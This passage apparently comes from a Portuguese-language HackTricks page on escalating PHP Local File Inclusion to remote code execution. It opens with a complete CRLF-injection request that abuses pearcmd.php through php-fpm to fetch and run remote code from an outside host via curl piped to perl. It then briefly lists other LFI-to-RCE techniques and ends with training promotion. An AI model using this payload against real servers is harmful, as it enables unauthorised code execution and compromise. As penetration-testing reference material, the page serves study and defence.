O seguinte abusa de uma CRLF vuln para obter RCE (de here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Se você encontrou uma Local File Inclusion e um arquivo expondo phpinfo() com file_uploads = on, você pode obter RCE:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Se você encontrou uma Local File Inclusion e você consegue exfiltrar o caminho do arquivo temporário MAS o servidor está checando se o arquivo a ser incluído tem PHP marks, você pode tentar bypassar essa verificação com esta Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Se você puder abusar do LFI para fazer upload de arquivos temporários e fazer o servidor travar a execução do PHP, você pode então brute force os nomes de arquivo durante horas para encontrar o arquivo temporário:

LFI2RCE via Eternal waiting

Para Fatal Error

Se você incluir qualquer um dos arquivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Você precisa incluir o mesmo uma vez 2 vezes para lançar esse erro).

Eu não sei quão útil isso é, mas pode ser.
Ainda que você cause um PHP Fatal Error, os arquivos temporários PHP enviados são deletados.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks